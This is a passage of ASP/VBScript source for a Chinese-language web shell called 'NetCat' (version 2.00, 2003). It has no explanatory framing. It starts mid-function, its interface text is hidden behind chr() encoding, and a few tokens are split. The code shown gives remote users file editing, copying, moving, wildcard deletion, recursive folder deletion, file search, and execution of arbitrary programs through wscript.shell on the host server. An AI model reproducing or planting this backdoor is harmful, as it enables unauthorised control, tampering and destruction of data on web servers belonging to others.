+chr(-12604)+chr(-17154)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-10282)+chr(-18437) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function else Dim editsavefso set editsavefso = server.createobject("Scripting.FileSystemObject") if editsavefso.FileExists(vir2abs(request.form("filename"))) then response.write "<form name=editform method=post action=" & SelfName() & "?cmd=edit>" response.write "<input type=hidden name=editmethod value=resave>" response.write "<input type=hidden name=filename value=" & vir2abs(request.form("filename")) & ">" response.write "<input type=hidden name=filecontent value=" & request.form("filecontent") & ">" response.write request.form("filename") & " "+chr(-12604)+chr(-17154)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23636)+chr(-13625)+chr(-18447)+chr(-18254)+chr(-18233)+chr(-11091)+chr(-16204)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-23617) response.write "<input type=submit value="+chr(-13625)+" class=catbutton><input type=button value="+chr(-18447)+" onclick=javascript:history.back() class=catbutton>" response.write "</form>" else dim editsavetextstream set editsavetextstream=editsavefso.opentextfile(vir2abs(request.form("filename")),2,true) scontenttmp=request.form("filecontent") scontenttmp=replace(scontenttmp,"[textarea]","<textarea>") scontenttmp=replace(scontenttmp,"[/textarea]","</textarea>") scontenttmp=replace(scontenttmp,"[TEXTAREA]","<TEXTAREA>") scontenttmp=replace(scontenttmp,"[/TEXTAREA]","</TEXTAREA>") editsavetextstream.write scontenttmp editsavetextstream.close set editsavetextstream=nothing response.write request.form("filename") & " "+chr(-12604)+chr(-17154)+chr(-20061)+chr(-19226)+chr(-19511)+chr(-18010)+chr(-23647) end if set editsavefso=nothing exit function end if end if else if request.form("editmethod")="resave" then Dim editresavefso,editresavetextstream set editresavefso = server.createobject("Scripting.FileSystemObject") set editresavetextstream=editresavefso.opentextfile(request.form("filename"),2,true) scontenttmp=request.form("filecontent") scontenttmp=replace(scontenttmp,"[textarea]","<textarea>") scontenttmp=replace(scontenttmp,"[/textarea]","</textarea>") scontenttmp=replace(scontenttmp,"[TEXTAREA]","<TEXTAREA>") scontenttmp=replace(scontenttmp,"[/TEXTAREA]","</TEXTAREA>") editresavetextstream.write scontenttmp editresavetextstream.close set editresavetextstream=nothing set editresavefso=nothing response.write request.form("filename") & " "+chr(-12604)+chr(-17154)+chr(-20061)+chr(-19226)+chr(-19511)+chr(-18010)+chr(-23647) exit function end if end if if editpar="" and trim(request.form("editmethod"))="" and trim(request.form("filename"))="" then response.write "<form name=editform method=post action=" & SelfName() & "?cmd=edit>" response.write chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622)+chr(-12620)+chr(-10582)+"<br>"+chr(-10316)+chr(-13140)+chr(-23622)+chr(-12094)+chr(-16984)+chr(-12604)+chr(-17154)+"<br>"+chr(-14357)+chr(-13596)+chr(-14101)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23622)+"<input type=text name=filename><br><textarea rows=29 name=filecontent cols=127></textarea>" response.write "<input type=hidden name=editmethod value=save>" response.write "<p align=center><input type=submit value="+chr(-20061)+chr(-19226)+" class=catbutton>" response.write "</form>" else editpar=vir2abs(editpar) savefile=editpar set editfso=server.createobject("Scripting.FileSystemObject") if editfso.FileExists(editpar) then response.write "<form name=editform method=post action=" & SelfName() & "?cmd=edit>" set editfile=editfso.opentextfile(editpar,1) set editfile1=editfso.getfile(editpar) &nbs p; if editfile1.size>0 then scontenttmp=editfile.readall scontenttmp=replace(scontenttmp,"<textarea>","[textarea]") scontenttmp=replace(scontenttmp,"</textarea>","[/textarea]") scontenttmp=replace(scontenttmp,"<TEXTAREA>","[TEXTAREA]") scontenttmp=replace(scontenttmp,"</TEXTAREA>","[/TEXTAREA]") response.write chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & editfile1.size & "<br>"+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & editpar & "<br><textarea rows=29 name=filecontent cols=127>" & scontenttmp & "</textarea>" else response.write chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622) & editfile1.size & "<br>"+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23622) & editpar & "<br><textarea rows=29 name=filecontent cols=127></textarea>" end if set typefile=nothing set typefile1=nothing response.write "<input type=hidden name=editmethod value=resave>" response.write "<input type=hidden name=filename value=" & editpar & ">" response.write "<p align=center><input type=button value="+chr(-12094)+chr(-16984)+" class=catbutton onclick=javascript:location=" & chr(39) & SelfName() & "?cmd=edit" & chr(39) & "><input type=submit value="+chr(-20061)+chr(-19226)+" class=catbutton>" response.write "</form>" else response.write chr(-12604)+chr(-17154)+chr(-18493)+chr(-12598)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-10798)+chr(-19781)+chr(-19011)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-12604)+chr(-17154) end if set typefso=nothing end if response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" End Function ''=============================================================================================================== Function fCOPY() dim srcfile dim tarfile dim copyfso srcfile=trim(request("par1")) tarfile=trim(request("par2")) pcmdhostinfo if srcfile="?" or srcfile="/?" or srcfile="-?" or tarfile="?" or tarfile="/?" or tarfile="-?" or srcfile="" or tarfile="" then response.write "COPY"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-18252)+chr(-10554)+"<br><br>" response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=copy&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=<"+chr(-19762)+chr(-13571)+"2><br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function end if set copyfso=server.createobject("Scripting.FileSystemObject") if request("copymethod")<>"recopy" then srcfile=vir2abs(srcfile) tarfile=vir2abs(tarfile) if copyfso.FileExists(srcfile) then if copyfso.FileExists(tarfile) then response.write "<form name=copyform method=post action=" & SelfName() & "?cmd=copy>" response.write "<input type=hidden name=copymethod value=recopy>" response.write "<input type=hidden name=srcfilename value=" & srcfile & ">" response.write "<input type=hidden name=tarfilename value=" & tarfile & ">" response.write tarfile & "<br> "+chr(-12604)+chr(-17154)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23636)+chr(-13625)+chr(-18447)+chr(-18254)+chr(-18233)+chr(-11091)+chr(-16204)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-23617) response.write "<input type=submit value="+chr(-13625)+" class=catbutton><input type=button value="+chr(-18447)+" onclick=javascript:history.back() class=catbutton>" response.write "</form>" else copyfso.CopyFile srcfile,tarfile response.write "file(s) copied"+chr(-23622)+"<br><br> "+chr(-11084)+chr(-12604)+chr(-17154)+chr(-23622) & srcfile & "<br><br> "+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-23622) & tarfile end if else response.write chr(-18252)+chr(-10554)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647) end if else srcfile =vir2abs(request("srcfilename")) tarfile=vir2abs(request("tarfilename")) if trim(srcfile)="" or trim(tarfile)="" then response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=copy&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=<"+chr(-19762)+chr(-13571)+"2><br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+" "+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+" "+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function end if if copyfso.FileExists(srcfile) then if copyfso.FileExists(tarfile) then copyfso.DeleteFile tarfile end if copyfso.CopyFile srcfile,tarfile response.write "file(s) copied"+chr(-23622)+"<br><br> "+chr(-11084)+chr(-12604)+chr(-17154)+chr(-23622) & srcfile & "<br><br> "+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-23622) & tarfile else response.write chr(-18252)+chr(-10554)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647) end if end if set copyfso=nothing response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" End Function ''=============================================================================================================== Function fMOVE() dim srcfile dim tarfile dim movefso srcfile=trim(request("par1")) tarfile=trim(request("par2")) pcmdhostinfo if srcfile="?" or srcfile="/?" or srcfile="-?" or tarfile="?" or tarfile="/?" or tarfile="-?" or srcfile="" or tarfile="" then response.write "MOVE"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-11578)+chr(-18769)+"<br><br>" response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=move&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=<"+chr(-19762)+chr(-13571)+"2><br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function end if set movefso=server.createobject("Scripting.FileSystemObject") if request("movemethod")<>"remove" then srcfile=vir2abs(srcfile) tarfile=vir2abs(tarfile) if movefso.FileExists(srcfile) then if movefso.FileExists(tarfile) then response.write "<form name=moveform method=post action=" & SelfName() & "?cmd=move>" response.write "<input type=hidden name=movemethod value=remove>" response.write "<input type=hidden name=srcfilename value=" & srcfile & ">" response.write "<input type=hidden name=tarfilename value=" & tarfile & ">" response.write tarfile & "<br> "+chr(-12604)+chr(-17154)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23636)+chr(-13625)+chr(-18447)+chr(-18254)+chr(-18233)+chr(-11091)+chr(-16204)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-23617) response.write "<input type=submit value="+chr(-13625)+" class=catbutton><input type=button value="+chr(-18447)+" onclick=javascript:history.back() class=catbutton>" response.write "</form>" else movefso.MoveFile srcfile,tarfile response.write "file(s) moved"+chr(-23622)+"<br><br> "+chr(-11084)+chr(-12604)+chr(-17154)+chr(-23622) & srcfile & "<br><br> "+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-23622) & tarfile end if else response.write chr(-11578)+chr(-18769)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647) end if else srcfile=vir2abs(request("srcfilename")) tarfile=vir2abs(request("tarfilename")) i f trim(srcfile)="" or trim(tarfile)="" then response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=move&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=<"+chr(-19762)+chr(-13571)+"2><br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+" "+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+" "+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-23640)+chr(-19781)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-23639) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function end if if movefso.FileExists(srcfile) then if movefso.FileExists(tarfile) then movefso.DeleteFile tarfile end if movefso.MoveFile srcfile,tarfile response.write "file(s) moved"+chr(-23622)+"<br><br> "+chr(-11084)+chr(-12604)+chr(-17154)+chr(-23622) & srcfile & "<br><br> "+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-23622) & tarfile else response.write chr(-11578)+chr(-18769)+chr(-19219)+chr(-12557)+chr(-23622)+chr(-11084)+chr(-12604)+chr(-17154)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647) end if end if set movefso=nothing response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" End Function ''=============================================================================================================== Function fDEL() dim delpar dim deldir dim delfile dim delfiles dim delfolder dim itemtmp dim delfso dim ldelcount delpar=trim(request("par")) pcmdhostinfo if delpar="/?" or trim(delpar)="" then response.write "DEL"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-13890)+chr(-19459)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)+"<br><br>" response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=del&par=<"+chr(-19762)+chr(-13571)+"><br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function end if delpar=vir2abs(delpar) deldir=mid(delpar,1,instrrev(delpar,"\")) delfile=mid(delpar,instrrev(delpar,"\")+1) if instr(deldir,"*")>0 or instr(deldir,"?")>0 or instr(deldir,"|")>0 or instr(deldir,"<")>0 or instr(deldir,">")>0 then response.write chr(-13890)+chr(-19459)+chr(-12604)+chr(-17154)+chr(-13657)+chr(-20260)+chr(-23622)+chr(-12056)+chr(-11606)+chr(-13890)+chr(-19459)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-15365)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-10282)+chr(-18437) exit function end if set delfso=server.createobject("Scripting.FileSystemObject") if delfso.FolderExists(deldir) then ldelcount=0 set delfolder=delfso.GetFolder(deldir) set delfiles=delfolder.files for each itemtmp in delfiles if mylike(delfile,itemtmp.name) then ldelcount=ldelcount+1 delfso.DeleteFile itemtmp end if next if ldelcount>0 then response.write chr(-12604)+chr(-17154)+chr(-13890)+chr(-19459)+chr(-19511)+chr(-18010)+chr(-23647)+chr(-23640) & delpar & chr(-23639) else response.write chr(-13890)+chr(-19459)+chr(-12604)+chr(-17154)+chr(-13657)+chr(-20260)+chr(-23622)+chr(-12604)+chr(-17154)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647) end if set delfolder=nothing set delfiles=nothing set itemtmp=nothing else response.write chr(-13890)+chr(-19459)+chr(-12604)+chr(-17154)+chr(-13657)+chr(-20260)+chr(-23622)+chr(-12604)+chr(-17154)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647) end if set delfso=nothing response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" End Function ''=============================================================================================================== Function fDELTREE() Dim deltreedir deltreedir=trim(request("par")) pcmdhostinfo if deltreedir="?" or deltreedir="/?" or deltreedir="-?" or deltreedir="" or deltreedir="/?" then response.write "DELTREE"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-14363)+chr(-16427)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-10568)+chr(-18776)+chr(-15169)+chr(-15684)+chr(-12350)+chr(-19004)+chr(-13319)+chr(-11312)+chr(-12604)+chr(-17154)+"<br><br>" response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=deltree&par=<"+chr(-19762)+chr(-13571)+"><br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-12056)+chr(-11606)+chr(-14363)+chr(-16427)+chr(-19004)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-15365) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function end if deltreedir=vir2abs(deltreedir) if instr(deltreedir,"*")>0 or instr(deltreedir,"?")>0 or instr(deltreedir,"|")>0 or instr(deltreedir,"<")>0 or instr(deltreedir,">")>0 then response.write chr(-13890)+chr(-19459)+chr(-12604)+chr(-17154)+chr(-13657)+chr(-20260)+chr(-23622)+chr(-12056)+chr(-11606)+chr(-19735)+chr(-10798)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-15365)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-10282)+chr(-18437) exit function end if if request.form("realdeltree")<>"dodeltree" then deltreedir=replace(deltreedir,chr(32),"%20") deltreedir=replace(deltreedir,"#","|acrs|") response.write "<form name=deltreeform method=post action=" & SelfName() & "?cmd=deltree&par=" & deltreedir & ">" response.write "<input type=hidden name=realdeltree value=dodeltree>" deltreedir=replace(deltreedir,"|acrs|","#") deltreedir=replace(deltreedir,"%20"," ") response.write chr(-10778)+chr(-19004)+chr(-11606)+chr(-14363)+chr(-16427)+" " & deltreedir & " "+chr(-12350)+chr(-19004)+chr(-13319)+chr(-11312)+chr(-12604)+chr(-17154)+chr(-15632)+chr(-23617)+"<br><input type=submit value="+chr(-13625)+" class=catbutton><input type=button value="+chr(-18447)+" class=catbutton onclick=javascript:history.back()>" response.write "</form>" else call myListFile(deltreedir,"*","CAT_DELTREE") end if response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" End Function ''=============================================================================================================== Function fRUN() dim runfile dim runfso dim runwscr runfile=trim(request("par")) pcmdhostinfo if runfile="?" or runfile="/?" or runfile="-?" or trim(runfile)="" then response.write "RUN"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-19276)+chr(-16984)+chr(-11589)+chr(-18186)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16904)+chr(-19508)+"<br><br>" response.write chr(-11534)+chr(-12630)+chr(-14168)+chr(-12322)+chr(-12598)+chr(-13086)+chr(-23636)+chr(-19781)+chr(-15140)+chr(-20061)+chr(-10588)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-15140)+chr(-10755)+chr(-19549)+chr(-11061)+chr(-12080)+chr(-10568)+chr(-18776)+chr(-16904)+chr(-19508)+chr(-24157)+"<br><br>" response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=run&par=["+chr(-19762)+chr(-13571)+"]<br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function end if runfile=vir2abs(runfile) set runfso=server.createobject("Scripting.FileSystemObject") if runfso.FileExists(runfile) then set runwscr=server.CreateObject("wscript.shell") runwscr.run runfile set runwscr=nothing response.write chr(-11567)+chr(-16723)+chr(-19276)+chr(-16984)+chr(-15925)+chr(-16904)+chr(-19508)+chr(-23622) & runfile & "<br>"+chr(-16439)+chr(-15140)+chr(-11534)+chr(-12630)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-14168)+chr(-12322)+chr(-12598)+chr(-13086)+chr(-23636)+chr(-16904)+chr(-19508)+chr(-11312)+chr(-16439)+chr(-15140)+chr(-19806)+chr(-19781)+chr(-15140)+chr(-12822)+chr(-14165)+chr(-10755)+chr(-19549)+chr(-11061)+chr(-12080)+chr(-24157) else response.write chr(-12604)+chr(-17154)+chr(-11061)+chr(-12080)+chr(-13657)+chr(-20260)+chr(-23622)+chr(-12604)+chr(-17154)+chr(-19781)+chr(-19226)+chr(-11046)+chr(-23647) end if set runfso=nothing response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" End Function '========================================================================== Function fFINDFILE() Dim finddir,findfile findfile=trim(request("par1")) finddir=trim(request("par2")) pcmdhostinfo if finddir="?" or finddir="/?" or finddir="-?" or findfile="" or findfile="/?" then response.write "FINDFILE"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-19735)+chr(-10798)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)+"<br><br>" response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=findfile&par1=<"+chr(-19762)+chr(-13571)+"1>&par2=["+chr(-19762)+chr(-13571)+"2]<br><br>"+chr(-19762)+chr(-13571)+"1"+chr(-23622)+chr(-12056)+chr(-11606)+chr(-19735)+chr(-10798)+chr(-19004)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365)+"<br>"+chr(-19762)+chr(-13571)+"2"+chr(-23622)+chr(-19735)+chr(-10798)+chr(-19004)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16648)+chr(-18732)+chr(-17422)+chr(-12320)+chr(-18732)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-15365) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function end if findfile=replace(findfile,"|acrs|","#") finddir=vir2abs(finddir) if trim(finddir)="" then finddir=AppPath() end if if instr(finddir,"*")>0 or instr(finddir,"?")>0 or instr(finddir,"|")>0 or instr(finddir,"<")>0 or instr(finddir,">")>0 then response.write chr(-19735)+chr(-10798)+chr(-12604)+chr(-17154)+chr(-13657)+chr(-20260)+chr(-23622)+chr(-12056)+chr(-11606)+chr(-19735)+chr(-10798)+chr(-19004)+chr(-15169)+chr(-15684)+chr(-15365)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-10282)+chr(-18437) exit function end if if instr(findfile,"\")>0 or instr(findfile,"/")>0 or instr(findfile,":")>0 or instr(findfile,"<")>0 or instr(findfile,">")>0 or instr(findfile,"|")>0 then response.write chr(-19735)+chr(-10798)+chr(-12604)+chr(-17154)+chr(-13657)+chr(-20260)+chr(-23622)+chr(-12056)+chr(-11606)+chr(-19735)+chr(-10798)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-10282)+chr(-18437) exit function end if call myListFile(finddir,findfile,"CAT_FINDFILE") response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" End Function '========================================================================== Function fVER() Dim verpar verpar=ucase(trim(request("par"))) pcmdhostinfo if verpar="ABOUTNETCAT" then response.write "NetCat("+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+")"+chr(-13827)+chr(-17226)+chr(-14123)+chr(-10562)+"<br>" response.write "============================================================ ====================<br>" response.write "2.00 "+chr(-23640)+"2003-05-23"+chr(-23639)+"<br>" response.write " 1"+chr(-24158)+chr(-12302)+"DIR"+chr(-15364)+chr(-15890)+chr(-11018)+chr(-17197)+chr(-12888)+chr(-14876)+chr(-18437)+chr(-19004)+chr(-10585)+chr(-19498)+chr(-23636)+chr(-10782)+chr(-18186)+chr(-16439)+chr(-13625)+chr(-17700)+chr(-10536)+chr(-19213)+chr(-19004)+chr(-18236)+chr(-19996)+chr(-23640)+chr(-19206)+chr(-15637)+chr(-12108)+chr(-13376)+chr(-12590)+chr(-15925)+chr(-23639)+chr(-23636)+chr(-11606)+chr(-10582)+chr(-19008)+chr(-23636)+"VBScript"+chr(-16145)+chr(-15386)+chr(-13625)+chr(-15429)+chr(-11312)+chr(-24144)+"Like"+chr(-24143)+chr(-11061)+chr(-13341)+chr(-18437)+chr(-19004)+chr(-20319)+chr(-23647)+chr(-20271)+chr(-11564)+chr(-12807)+chr(-20250)+chr(-20034)+chr(-19004)+"DIR"+chr(-15364)+chr(-15890)+chr(-18740)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-18236)+chr(-19511)+chr(-19548)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-19004)+chr(-12332)+chr(-13634)+"<br>" response.write " 2"+chr(-24158)+chr(-12066)+chr(-18252)+chr(-15925)+chr(-19781)+chr(-15140)+chr(-18493)+chr(-12598)+chr(-17748)+chr(-11312)+chr(-24144)+"#"+chr(-24143)+chr(-17723)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17715)+chr(-15169)+chr(-15684)+"<br>" response.write " 3"+chr(-24158)+chr(-12066)+chr(-18236)+chr(-15925)+"DEL"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-13639)+chr(-14620)+chr(-10585)+chr(-19498)+chr(-12888)+chr(-14876)+chr(-18437)+"<br>" response.write " 4"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+chr(-24144)+chr(-12590)+chr(-19004)+chr(-18969)+chr(-15148)+chr(-24143)+chr(-11597)+chr(-15386)+chr(-23636)+chr(-16439)+chr(-11564)+chr(-6993)+chr(-16192)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-13873)+chr(-19004)+chr(-14339)+chr(-18769)+chr(-14601)+chr(-15920)+chr(-19987)+chr(-11564)+chr(-17232)+chr(-14339)+chr(-18769)+chr(-14601)+chr(-19004)+chr(-12091)+chr(-12382)+"<br>" response.write " 5"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"UPFILE"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-16133)+chr(-11325)+"ADODB.Stream"+chr(-18732)+chr(-12301)+chr(-19004)+chr(-20000)+chr(-12108)+chr(-19004)+chr(-12578)+chr(-10263)+chr(-17154)+chr(-13873)+chr(-19285)+chr(-18010)+chr(-15140)+"<br>" response.write " 6"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"FINDFILE"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-16439)+chr(-11564)+chr(-18732)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-13873)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-16904)+chr(-12080)+chr(-19735)+chr(-10798)+"<br>" response.write " 7"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"DELTREE"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-16439)+chr(-11564)+chr(-14363)+chr(-19459)+chr(-10568)+chr(-18776)+chr(-15169)+chr(-15684)+chr(-12350)+chr(-19004)+chr(-13319)+chr(-11312)+chr(-12604)+chr(-17154)+"<br>" 